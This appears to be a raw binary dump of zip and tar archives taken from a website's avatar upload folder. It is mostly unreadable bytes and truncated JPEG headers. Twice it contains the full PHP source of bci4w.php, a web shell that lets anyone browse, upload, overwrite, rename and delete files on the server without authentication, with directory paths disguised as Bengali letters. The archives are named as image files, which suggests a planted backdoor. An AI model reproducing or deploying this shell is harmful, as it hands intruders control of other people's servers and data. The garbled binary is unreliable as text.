shd=?j\vMJڀ* ZPVWk*VTX/Wۥ!Րf Ñ,1Q^.$i& HSx&ah+V 7M[˨σ!;*UC٥ WRaK6$ #hEY@-47\u0HLa˳ IP ;/0@Za`R:6y'`6I.&|HF.|B ${kyiOJ"Z>#pY%̰ en" )-\``)kRd֓<]剧wÎ/y蜞s%h|#b8^UA/)5Ip0xD@β^Al8 ޯ PA2*T85eL^hć&6X4"yA}'0%1lN-VZh`-fGbJDK&R\I']Q\K0шC9L<(+s '`'[#4[h,GP]oUU WH{kIEH~ KT&h%yD&, 4cDPgW Ȗe$@pI(*P(( WH:9 ܨrtp}jq)p^VIv5H+&I`j ZX!_2~!9Z#=UkIvjg4|WJYa #Uh#u:qBc}zFPf? Dz@;myT-+$luIx&lwk9Y fkYۂ7iwgQԙ/(.[ *JY7mj.K\g+T >.A@Ԑ.!U籵5B@a[k&d"tWmj~=VpF JEpUpҡJ}m: eږHZk"d6!Y MBQ .1PVr5}-l((]%\=ĬSN9}^"4>V]A \, #"BͰjkhyf25D|ANJ< Ij[UZZ_[SƗhkOa:CRT17AkiEW' s $6S*<Fo QhU1\%k˖ݺ:-A})14a:ҐiU4s #4tw Q{A~5iEϢJ,h-M*NF`9])vǒ4o z0]V;K]dm f=$4nNXUSEh$ӖtO$u Y,֥r$ս+B[%?RXs;#IM ' >v49#PZUOFiT|,:'M>V)N)G=, pRz 9;^~Y*Ǝ,YXhI%-,)tqU6BS$T 4EQ㵮a,؞})EL(&!}@MZ8Y. ;OF~a꣘JV'_;.dN\:K<'h/5ǁEpuxpA< J:w:(!|Ca @fk,l< [Z%!*c(4WS4b\!qm 2Ďd hUd<a1&Y&Myi,M&(e'Uc5!X4KN 8L[Qͦ5%LSt ẔHTrW %lj\+YUfC? v]frkӃePvneƢKtl7'≦ObP܊p.rՀN49GaaBZ[]hoTv+"nFEG$_ATTu@8tHȴBHRw ) "uYբЪ϶WOi4\]%Lfw`˼~œ?0'> VfRR'4H/qJNު6p :9!ۖedBFl 0H%%y0lJd|5Go6]x7(0Lx-[Qa u@i{g^brL\A{ѽϐ,xT-tT>@qwz0D=26 ]D+15늢muU)2T̕ץr)"q~D'J#ԁÈC-q|N$Y KokYbGG$F-S?pH4Z&Dɂia3)JS0-RLT=K#3jDus2rfɷz),'WU XbqmНTLmLAEvw'@Y a:&wmU5et z[_RA۠ h0Cg "W^tHWI \ lZcY4&똟lI*Cm@*(X;<ݘ7U$vjCdKT(xNO:PKצ6R^Arzt_nC/]p:cɁ.12uO#rD7N8A.dId"Mzn5|0fՁŒ&!#y`BG?2y[/vʸe7ݮl; en@Rg tdfHP33nFHݔX4``c_bpU2N92Vf[$r֘F5maAm.6aޥc!cƭQ`BL[8G O[ohloDڸȘu;[^G*.ktP6Fr:j vsb VL>p6c"Q\k1]^S6/x/􎮶Z2|@φ Q`[ic9я0wv]kw&kF8dyv$ hqD۳m1t5`wjV>[֔1ܑ1vҦnF,T[^6@#q.7Cnmr5i "h`:~\\"FQ(ZRM[4g .6d͙XY6zq`2g^k!ڦwX+s ji{)1FǙ p Cd [cc &pPLӜ?q8rYo[]x7/Ic!l9f}&¦[ 'L 쀢 v7 3Lkz"Khot= 'BWF~~zthػ3!:Oڑ3S#^"^vx\dː%KQp |Oz73awe8 3:h$`d9I,ag䵍+\L:7T29i}}IP.g.M`Og01{fVmo#3 w@˓*( wu,1Ca*C!vfTf+P^=9 :CI)]C2]2 O#͗ 5PdԠq$lPgKQ"Dէ^ t4K XW#;&ĵ `㚭ŠR❆Htx8{7KgNA&QX2H=x2|^6Tǂ֨ 5` -56Ri TZ6z{bcMv(txʳ]9}+aXkJ~ *:ְ>8"aޝ-zB^L]"TĦFVL./iЮG8k]p*5Y# `湢T?hRju:$+i -]"l4{[7k`' !heDY\Y24 Q) cx+W!  K۔Nj8P<Ϧ: ];'dځ t놵m ($jڅ2)Q n-LE-B%Bͳh BLHÐS$ @OŘdmz@Z"xr%u4 fk39` #Uxf7QNB}Y[*/6W E?!YmdV;BDAG6H [KUqk8RϼzU Z,a+Y'-* K UB򰀝(APS:',ܔٷo_ʓb,+Tc4]]$W;.aBJ@)M(zneO+RAΧ*Z(N.,¯]nMͣ5yu񃱤x˜W. n%$R| Zx1 * ÖVg|'c}mܯ6΢k\aQ T"E#a$ %ЌK7:EB2M)/KSZĤ6= d9UtL4ٳٍ`z3f6mS_߱i8GϫpjDJkqe ĸDj=Mdkl6yGi =f l~JXi>VNj 8`uɠJX5L)S—ԕVV7/?vj _?kuy//aT+{|\( 1/&P GNWBX7X9Yw(:~d@*|ѲY:QvwaԱn 4(}M0*]U/=.e>Jf,-=nX5J'Q(O{COD:Q@R٩REmz YT6ՀF, nv Q\c}6픠LŢ~O~.Akô!UmOݫ)3Tp>[&r{+ۇ=7PgfKTXKjc{f7|K^Dd4+A׍bW ƾ4-Թe I!jAp 6+p\ x1v0[nj(2mry;rcmg$[[~1|[S@FWT &='"ڝTk1L<낂G/0G!ݯŕ=g$_udBux33"@)9b@0t]ێR9NlbKɦ AF 0x*{YaI苯On^3t[j#BxJ5hzrgL{4U2tRU>۫Yzl J:mK%Y;+kmA P<]D-@t>ax) :@QWvK-nd<>8(pOVr ,A)mK+KvN]N\ɭp|ֱ2SY, 0: ǕwN4rlym) '*O|ӗd(^PSFv՜vD$ G>YjZ\zڥQfSsqyI&IJRqɺЊ X?`0(2 ]~K_0)R|wF  ߑRۧ4r^ug{E]! Z}SKnXqd_E9 E",CMI 4GVUMFǖj2JA.,:Vm(^҉&18yhO} *`?#YtݾL7*Z!h o_P8\Ubn*^hU,${fvrR/6Ѿe^6K.eG_A{HtK` buxO`)sƚҕYj8M 0^riϗ. ds{1pFY1t*rFN*W 9QFXtzt%zYbz,0`_}p0mHڼ9y),ǪLǩ3=Q.D / "7NBisՆt>mhzgu%c)T&)2A(;ކh'])hy~ AerdB7h&RL ȔlI&3F(G,`\oùL6D(VZM^6|>#90cKhftD&z';5.c<q:um=`߯9d4v9܎t8G~|wVQpye]GqZP|@Z*! >]ՖҎ ry•:_:BxxLS35舸cGop"} d:G FQ#*>[lz=Oij^*aN%K?t+pČ|h0z vї9f @oޤVv2b5e,w[XB/5l1yuUޯ c:'w-k-kZJl gL&xtlqO Eo,ʝ|j-ܑ6oRg/xx6ƺt(S/\63v?.q|PэžT.dιII fOL(*gZimvc|/& nHʉ?0Gv:+c ֢L]j~"FE%GD#$ e7hL~;uW GNW"9jBOP/EjFo@p\A;H9@fj ـks]?:+`Z{V7ʤw85IZ?Q'mƖcDMDP6a+Z9{JnGoE]\ƹXLjֻlwh}VT-wOEfg[ӵͩu.dMM}s&Mfw&sAGH2:Tnyb9QlAg0?vηBLd<㤾ݠa1'ky"^ںWWZIsewu\Ry# z=t.Bq2BB:T(L\qO c?ێEfk]ؼEɆZ)"1ltY[6}> h;V6و>&Lg}¢2PndJx˕x}5.7Be9c hTyOG ! x`Ɔnh('Ǚ~,Sl&s} uMBdft?D:>KA7v|El?M 0;:λ* 9F:coD94g)KdJLT^Gk)ЬLbsddHkC{g~"z6LgUKם/G KB*٫xl=kd c`D#X+Nҥv;Di7ڌ1;M}{a%Kzse8Kzl%NW2-d #xеlYɎk,,=乶[*X{=m0Ts^Pм-h-~1jц(݅j*^[&G^w'-ĸ3ōF=X x_CZ:+tk eS|Lz)wp+ ycO&Cxv']?Wi[cA,x/3wLL:z&sXZg\.6O΢5OFFͳr[nRZ{<i<0a2#Q8 Wi[O^.p{7.k8k37[-PcT#w6B.s"u6L!;ٔF 67͍Xl39R7} rzM/WFOtlԥ-`ct$c3#}(b]܍Gcm^EGYp`S^m5*kM=[Z#&^2೮^[%eV_Ik`jjG'9tk.gc7Z>S?bEc0}O/`Bc.;D%)jtu=njz{3_ PgY`0e+YT3Ofʇ+|ΟIk5/c#2z%0Á! 턧M7SDZY5!T<ԃA zC=ȡPr9ԃA zC=ȡNӃk&:mMQb̥"9ZrCcR8mt1d Sag{M/U(QdFž`DZv3-.PYd&>V#]sUVC[ \{6{H˨ʂ݀#dg*ԇ:C7[Ѕks@;O~b"lЬP-%.GԣɈ uQҲb)>Y*>@~ϙnc)I'MOƛ-xnK|?6bh%(O @Ǵm5t:ev7bynYٓ663mIG[q#n^d9ː(<5k2G&ͦTsvlC"RF;Q>_ gK*u f=I6fݘ绦I_pw+Z=bcGdԎU*}kxt.Czs=eyא:BbՒlZȹѐjxs1"SszFXz&&0Ua5Bf3'OlO YޤU>e4Z"OVCo-Fv@1\kƲW>,c`)ؑҗ ,TQd;l~&bK,>7vǙgS3j+  }9 ƄE݉F!Ơhq ^zԕ(7vھJ_ڨm ֒9g&b70[f2oV AkK]_֒ؼ>*Sb%Fu\N=k0r6X*z SڈUL.kJ60挦!#@W8[ۡDp<1)G S@sd W y754"nvu~>T3 ZBf6Zlљ 03Pg Ё BH'92]2uwTL8E*V!4˭Vb0fBhQWDTCGh#4ǵZ,У'ǖt#}zG q'24EÄ9m9zt1E ;jvi;v&|ÔGhL4B 1p&c\!Hed*sMV(,IKj VǬ]gȢJɃ^ |F\iT\9bobX1LuJh.[5Zڕ3 +/ڤΔg(j' KWDt}i Lzc/Hdv22_':Q yno-އ-%_v Ibэ# &Ğ_ /3qPdEC!NƢ;2'mNN@^ L#i\e]6AE^ 6jW*d\*4wi4Q̄[P21ot ]˜* k56`T:T- ^<[ I*Ab!6xzs]J5f,d:bM=-?I0DYhJ <۶HN ro5lq1u}S88T"=-t*%B?1&➞ Byp/0g, '9 9!"' B q<[ ׍ žɋfG@7ϖ#(j/p_&U  ^Aa*F0C39Xl1ԶpaY&ub9E9PaQzGŗ J4U 99)G02@ ;.,8@ȽA(\7 %SE< 1|riGBgCL6nnN=*~ǑuT6yU7r Dʸref 5~b J3fW(B3ajDJ(wܗ>nEV6z+q\[xks6Ewa;/_)"4a%t}b+D B(;۞(2%-6Q= ]FEaVlG4=WS;yJ#S`*Q̓ПR#LB`@m w'G̳%˪9A.[JA1 ꥁՋASS( rT@aP QP*ԁ'eOk0 kk'4r@\Q X4ng&RbDx%,Q,MY2\( 7 e?)uT;$r" Bj >'Pt{R?T^IAeGNH9NC|JBf |u ú"M4qAҝO:&R ooPMӛfbU^ -prvW\G'\kQXŞ$SL̬hb]#_, Y~y>gSb<͝y _FD-u}x>zxOClOvĜm$(O8_ Ÿf渜ucGi꾲,fL`׺ ^MP2i |8;2(ifpEMuFGg?3q+CL96H\ZAW̝9z%˨?iM.p,bҠ}}ȣJ"H -ѩ{j  [SqԿD'*/"¦Z2/+P4_68k`B.mc/dǢx 8 2T FoJH2ht8uX&+dKkl!^@e8mF9]l ̐%Ȋ4ip1 8._X]8^  }*Oڣѹ ιT~u܈6|Л:_)Bu!=p6dnC\>u`dNƲ\1p} U(NUIϻre! Gh˴h1'[ -a0YT* K2AʓJbѓRO'5J :; #ClD(8t(d1--k(Df{G?9H$ܮhR홼PݮA0#˕S嫛O"z)TTjS0^Pmx։=ј1%ɬ'yR㎹2O4ҒDq EBP;ұd;WEkf^:gԕsn<*FqNSPʦù!(坔7?Q}.d寚 FZ6J8sD1\9jPAccXBhgNiT(i•눮*kӄj#Bɓ v.ӯ̜tr>ϕLI%Was2(nEj*2gPןFL(wHkەuT˞Kxcn,sPjQr#U(kr.9\gbY8m(i{ N w`KvBsC}$gɒ%YyoޓsI 2)$l$\@ IB m>R;$P I*t{vW}o>======V]1ͦsxd]r8R"|Z.-V.((6o$W^^1<9ށo`u {5dӡ[PybҾV̘jU\΄vZLvK^B!eQ`Ɏw#\pMjn^Og2b.0*MnɠhvʇQCiC*pZYB饠#VEhK~Ã:v;5p,M%Ɏ=k9]Bf=Q`A}Bigw2l6{ܸ?$fFV5֍no#Ek[Cd[|:̰:xc4[NJMKqnsVmI@UD0td$ah^ĜWӑբEXtj)@ahbNI)!TM -x/z6#D/M:"XEOb_`qGlL b_՜%"3fˋ"P;SieH@'!>D& ˥jE<]z]NzB *fE|Nͳpx]wm&QyY2ڡߏjh+2!&(?X RIpqM[CiKf9g;rV|)`QK ?0ֆ5jr; Δ{[;$6!,y\/4.&\ߌ:W~JʓLHOEb+W\731t\In:6I@: V אZ4f2F,Z/Kʕ@iC%n FTw!FRq!HQ| X>TDt3 2eĺ@${RŪ++K԰+V7o\4;0H/H;]`{JM`<'C{"[*=R2nN”he'+=|a`>L <ļ?Nd(rigV_it .Qx^v c˩ӵ\NM_NF#vdITzr:ˤ-,k:|B*P8hO=O+ٸ#؍fh+XE{dLU1#< DVEʨT CDK,aȌaÑHQ1 >UAVV$߸F51URs MGN,pyТ ` hT;R-ɦ'WZDs*1].[bl%Fr|4 UuztK:NEِ~#3!F9}i&Z:]N4'6|s5pZFMx$D hKu #0ٍ trxNR^[Kf=vjQh°0&O39d4sk'H,}%n]!cʸpk1/)CWݍQ%u. }jIϞ9Fr,zCN^7h QEg1!jBurH`fΉ֨Ln>s>xQsnђ#@VB/Df璀ʻiTу!;ɚ`KvrSK>7t;N^\OXpp'nn|֝ƻ&gk]EcC(*>G-˾LqP&T،v.eM |E*4$g0|LLn@ (w+z\lTm-z5éeVWWSᄗh$0: &a?>KJi /Hzq%% nVx|Eѭrߊrbz{.5 _G-amk*] vq+1n1Iᶏk"sp2IMGe4ʠW=Nw65m$22Go>] {7C0)H_3n~cJaP_bqD/bѼH/?ޙ mK0k'KK|vS˵bvJPܱ~Ȍ}. =)ܠ. .P?Lr8N/8UVm_@B~O0*8,,="2s;w޳}o9pCvknm~PtJEJV_lWVOIg#c㛷lJE|ln+`[L0>g+n-ilIgU]$PH*Tp:;ӊUTLv ˱x 7[L JSM#xr M+TJm9ab([8DL<1cuV}i\55Q;ғ!&YGL&QqgT8ȴ c-z# 7͔Lզ h9R,ޝ,pxnWɒĩ"Qy˱|,')&us<7%SݐJ%ΪkCk8~tW;PSIx)&pIu RrFt4*IqޮsMəbwI\* PVI<QT$Z?iηC=$xY'<* N?9O+gV0{BGCFu5;V>o>դ@e?_5q`§R.cX+?g(&DZ_M"㮞P#Bѻ'}_@Cj -m>rpy6`'G '8\!,, 3oOk6i?BUqVq6[tttD!ud c"JFQ} %4Uty'.!Dpr[3ϱC:3a:.5lER,חxGKBB,N0Cb.E8W7Os'" <xs5/ޗX~4|A ~(sbPEԯri< Xdߖᖺ3>Us41+_aAPW ,v'$](~@瀄lᔢ:LChHGqEjn:敋M@Bx$#.-i2'U*ՀsH48Vf*5 \'1A΢,P1[*Ң)^cEģopKCV65ܔ].JeշkuO8FALp2e;`i6eRpŕZ;!Ar+*J1BZ+t㐀WNFdUt 橚vC]F _6f6Ď(5٧٧xE~r~ueL{%@ZԑE<҅ -)Xt'qP?ݩ`}xw4kQ9>kYJ.5l m-:`5v Nm_k}Ƴ?jЍQ6[+ p2SI77sD}^=]b& OO,߼d5C>4F8z-Kɇ e&`2>3Lk*nLR@[){{Q %ךG6RB҈(oJ_Vf-;>ϊNNim6B( :2# R4[`=݈Z&0ɼx篭5ڽ M$v0&UP{5AT(}uhOMXPD.I9صOTeLTɗEYNXFX*p5WhAY) w 4ߧU)5MU7/ bL2?uHH%d>ث%1zHOO!m Aۈ4banGvYxx&Ƣu܀U'YOjP1flYf%"=bEAФ lbG="8x@8 Cz$d0uUW&mʨӲV>PD4CfMȳИdقPS=VJ 7 Idoi{8 ^[w$43ώIq~~RSQ;k E9KaN&MfAn0_2 ==h]]DaFpKvpkV9vyFxU(2mHcMaf*W,;3EnUzh(ٱަDx1Qi^rAfHb|&(NTEe'"VnK5_`?K ST~/T>+_RlzɖEwEg?Yon@9e1.Z;B93ŵ,p#)ee}B!aKR ΧX+MyӯRr"쨱`Hz@[]&Ľ1vJjKR]WH+4o=V: y`icҽ٪d, 0d(X`<ɡ BKv_F,ǶnE#|R)f:<:[1, /|PQJ\ޤ,mNYng|ܶ7Ve=:B->c`q鳺,l-i>{\WZv7PXmv1VYGݳrf,'4۞QUy"*5QYMPUob= XYV6qW>,zDJ\% CnPpIj 1i}o=/ WjzWQ. uWRi_@)+ć1 Pd@ae5Dzm;3U^!͇nԦLw?qKWkJfIY3yQnBiUM7"um~Gg]3n;ɥ2GƂ/Qsd3>{&eg N6]o{^L_ڗx#UWS_?rF3/܅ >>Pwb#_ox̹ѕyGJ_|Cw9?xc'7oWnߞx#uz?>wx}?o]ϼ/۩66,xgn~W銯]7_ܺ__=wk[}v&3?xmyF䯯~擟g>Mf<ߺ ^ޚ؍}#׭?<VPK!V 4yd0ui/67e272a89d6f9.jpg.tarnu[var/www/html/back/storage/app/public/avatars/10/67e272a89d6f9.jpg000075500000001567000000000000017735 0ustar00JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222dd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((((((((((((((((((((PK! r#4yd0ui/67c1be3c7f0cd.jpg.jpg.tar.gznu[+K,///(OJL/./JLOO,(/(MLO,K,I,*7473O6LJ5N6O3HN*Hg 8 d+a6Š5k7?`rtc`dddHB윃\CSt R 4J3<\, 4uRRKsJ Ks2K*fpf`ccgc`ggQPSWPQ010411W0361#+a(hD2A!!QIYyFVF0#3 +;'7PV&Fff&fVVl-PEUHБM80]PĨqBeE.~P1N*jRUS2j K+gW7wOаȨd``gdfWTV5wtvM~?~K/&fvA YX ل 9D&.xS8hRE.1A^853~?~K/&fvA YX ل 9D&.xS8hRE.1A^8539_]=:ع^Cu YhVi9~d*X]^;tBejAINg*s ǁuqw9}yoƒpNIpyc5?6gW/'WgoyHN'CB D;<2n þoOH)AЗ9愬Ho/ M)Z/)#W Q:%PbYkOHx1x )ԮÎ pU_YQQ"P~ FjH8K w(N F zxU0'};Hn@VƬ~JlLoݢW`O0V!}3Q/ev &a@tEƌq9c@D@pAA?ݶɻ#I-A]VBbD]bX XJ@ 3A~d,H/g,`ٞ/[g^XX"G{=m2HgMbDF w鐅 f-Z0gs1N.=>S="u|nAeّ/}MQȭ-aOCr\Ui97DUT;le K hbx&\?!?[OMH=ZB S̤"Ǵ`L#tZ[P1P^b8!+ZPw`n 'D5”N~ÞE= nCK@v/=e׎`ńBDd6k&B;~sMǷ(]3Yz6c9g"r +%xCJF7e"B=b--䜧Ԓbp ׍7/ 4yDikиx6 N0CN'H 4{}j]yvÂH쑿b<:dOi4>YJ;!ƁqC]ĚnlAɐ= 0tR^KZ6Գ&*P,P] "`z KClXaз37}٥V#9Қ]z |RDlDe؝yitM(r(E\{ɣgR'[ iwP@>~\YŀX)ۜ|PN9 P.~^Ѐ7A(Рi$L%cVGhȩG`4~tөH8:73)ZjJP(ڗ_æ r){PM}3ssKw_~uD2؁Kq~Ms$80a %9%@ܞ߿BG D@zf ;6i9 +RD SSSluUd6C>Au#GrMUQ#3XAK*$'^ͽ q6W8>umnt+P\:$H5(+Mo6" :#*Iv'*c\WOsP\Y$x DxôT҂QܵTMuRoim܌#\)c AU:AC-+AkT٧{UJR M6>nj+k|~b:ۭ0` FU!] 4ʚ9y ,d_zgvx Ko]ԨʑO+Gf /]y0s}xXpԄ5޴X<6^|erXY799Z$X./>>{Ϸa?Ȯz* zZ7Aߥ=7j>|#_ =ǻ;7oGׯ}oφN 6_9N{ѻgo ntcwl(_3M5qCh2PK!᠉#4yd0ui/67c6da0a349ea.jpg.jpg.tar.gznu[+K,///(OJL/./JLOO,(/(MLO,K,I,*7473O6KI4H46LM*Hg 8 d+a6Š5k7?`rtc`dddHB윃\CSt R 4J3<\, 4uRRKsJ Ks2K*fpf`ccgc`ggQPSWPQ010411W0361#+a(hD2A!!QIYyFVF0#3 +;'7PV&Fff&fVVl-PEUHБM80]PĨqBeE.~P1N*jRUS2j K+gW7wOаȨd``gdfWTV5wtvM~?~K/&fvA YX ل 9D&.xS8hRE.1A^853 000 = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PK!5k 4yd0ui/67c1be3c7f0cd.jpg.tarnu[var/www/html/back/storage/app/public/avatars/10/67c1be3c7f0cd.jpg000075500000001567000000000000020127 0ustar00JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222dd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((((((((((((((((((((PK!u,u,4yd0ui/b3vd5z.zipnu[PK!2<++ bci4w.phpnu[ 000 = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PK!2<++ bci4w.phpnu[PKI,PK!V4yd0ui/4yd0ui.tarnu[67c6da0a349ea.jpg.tar000064400000005000000000000000007750 0ustar00var/www/html/back/storage/app/public/avatars/10/67c6da0a349ea.jpg000075500000001567000000000000020047 0ustar00JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222dd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?(((((((((((((((((((((((((((((((((((((((((((((((((67e272b25bcec.jpg.tar000064400000005000000000000000007751 0ustar00var/www/html/back/storage/app/public/avatars/10/67e272b25bcec.jpg000075500000001567000000000000020050 0ustar00JFIF``>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality C    $.' ",#(7),01444'9=82<.342C  2!!22222222222222222222222222222222222222222222222222dd" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz 